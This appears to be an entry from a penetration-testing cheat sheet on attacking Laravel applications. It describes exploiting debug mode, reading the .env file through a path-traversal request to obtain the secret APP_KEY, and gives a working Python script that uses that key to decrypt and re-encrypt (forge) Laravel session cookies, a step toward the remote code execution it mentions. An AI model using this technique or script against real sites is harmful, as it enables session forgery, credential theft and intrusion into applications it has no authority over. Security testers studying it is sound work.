Laravel Tricks

Debugging mode

If Laravel is in debugging mode you will be able to access the code and sensitive data. For example http://127.0.0.1:8000/profiles:

This is usually needed for exploiting other Laravel RCE CVEs.

.env

Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called .env that can be accessed using some path traversal under: /../.env

Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it's activated).

Using the secret APP_KEY of Laravel you can decrypt and re-encrypt cookies:

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

def mcrypt_decrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.encrypt(value)


def decrypt(bstring):
    global key
    dic = json.loads(base64.b64decode(bstring).decode())
    mac = dic['mac']
    value = bytes(dic['value'], 'utf-8')
    iv = bytes(dic['iv'], 'utf-8')
    if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
        return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
        #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
    return ''


def encrypt(string):
    global key
    iv = os.urandom(16)
    #string = dumps(string)
    padding = 16 - len(string) % 16
    string += bytes(chr(padding) * padding, 'utf-8')
    value = base64.b64encode(mcrypt_encrypt(string, iv))
    iv = base64.b64encode(iv)
    mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
    dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
    return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
